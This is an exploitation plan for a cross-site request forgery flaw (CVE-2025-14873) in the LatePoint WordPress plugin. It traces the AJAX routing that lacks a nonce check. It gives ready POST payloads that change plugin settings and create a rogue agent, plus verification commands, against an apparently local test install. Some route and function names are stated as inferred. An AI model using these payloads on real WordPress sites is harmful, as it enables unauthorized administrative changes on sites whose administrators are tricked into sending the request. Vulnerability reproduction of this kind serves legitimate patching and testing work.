Exploitation Research Plan: CVE-2025-14873 LatePoint CSRF

1. Vulnerability Summary

The LatePoint plugin (up to version 5.2.5) contains a Cross-Site Request Forgery (CSRF) vulnerability within its core routing mechanism. The function call_by_route_name (likely located in lib/helpers/route_helper.php or the base controller lib/controllers/controller.php) is responsible for dispatching requests to specific controller actions based on a route_name parameter.

While the plugin performs capability checks (e.g., current_user_can('manage_options') or checking for a latepoint_is_admin flag), it fails to verify a WordPress nonce. This allows an attacker to craft a malicious request that, when executed by an authenticated administrator (e.g., via a hidden form submission), performs unauthorized administrative actions such as modifying plugin settings, managing agents, or altering booking configurations.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: latepoint_route_call (Registered via add_action('wp_ajax_latepoint_route_call', ...) and add_action('wp_ajax_nopriv_latepoint_route_call', ...))
• Vulnerable Parameter: route_name
• Payload Parameters: Parameters vary based on the target route (e.g., settings[...], agent[...]).
• Authentication Level: Requires an authenticated Administrator to be the target of the CSRF. The attacker themselves can be unauthenticated.
• Preconditions: The victim must be a logged-in administrator of the WordPress site.

3. Code Flow

1. Entry Point: A POST request is sent to admin-ajax.php with action=latepoint_route_call.
2. Action Dispatch: The WordPress AJAX handler calls the LatePoint router.
3. Routing Layer: The router invokes call_by_route_name (inferred).
4. Parsing: call_by_route_name splits the route_name (e.g., settings__update) into a Controller (SettingsController) and an Action (update).
5. Authorization: The Controller/Action checks if the user is an admin using internal plugin checks (e.g., current_user_can).
6. Vulnerability: No check_ajax_referer or check_admin_referer is present in this flow to validate the intent of the request.
7. Sink: The action logic executes (e.g., update_option), committing the state change to the database.

4. Nonce Acquisition Strategy

No nonce is required.
The core of CVE-2025-14873 is that the call_by_route_name flow explicitly lacks nonce verification. The exploit strategy relies on the fact that the server will process the request solely based on the administrator's session cookies without requiring a valid _wpnonce or security token.

5. Exploitation Strategy

We will target the settings__update route to modify a visible plugin setting, demonstrating administrative control.

Step-by-Step Plan:

1. Target Route: settings__update (Inferred from standard LatePoint controller naming).
2. Objective: Change the "Currency Symbol" or a similar innocuous setting to a recognizable string (e.g., HACKED).
3. Payload Construction:
   • action: latepoint_route_call
   • route_name: settings__update
   • settings[currency_symbol]: EVIL
   • latepoint_is_admin: 1 (Often required by LatePoint internal routing logic).

HTTP Request (via http_request):

// This simulates the request triggered by a CSRF form
await http_request({
  url: "http://localhost:8080/wp-admin/admin-ajax.php",
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: "action=latepoint_route_call&route_name=settings__update&settings[currency_symbol]=EVIL&latepoint_is_admin=1"
});

Note: In a real-world scenario, this would be an auto-submitting HTML form on an attacker-controlled site.

6. Test Data Setup

1. Install Plugin: Ensure latepoint version <= 5.2.5 is active.
2. Administrative User: Ensure an admin user exists (default admin / password).
3. Plugin Initialization: The plugin should be configured at least once to ensure settings exist in the wp_options table.

7. Expected Results

• The server should return a 200 OK response, likely with a JSON body containing {"status": "success", ...}.
• No "Invalid Nonce" or "Forbidden" error should appear despite the absence of a security token.

8. Verification Steps

After the http_request, verify the change using WP-CLI:

# Check the specific LatePoint settings option
wp option get latepoint_settings --format=json | grep -o "EVIL"

Or check the specific setting if stored as a standalone option:

wp option get latepoint_currency_symbol

9. Alternative Approaches

If settings__update is restricted or handled differently, attempt to create a new "Agent" which is a core administrative action:

• Route: agents__save
• Payload: action=latepoint_route_call&route_name=agents__save&agent[first_name]=CSRF&agent[last_name]=AGENT&agent[email]=csrf@example.com&latepoint_is_admin=1
• Verification: wp db query "SELECT * FROM wp_latepoint_agents WHERE email='csrf@example.com';" (LatePoint uses custom tables for agents).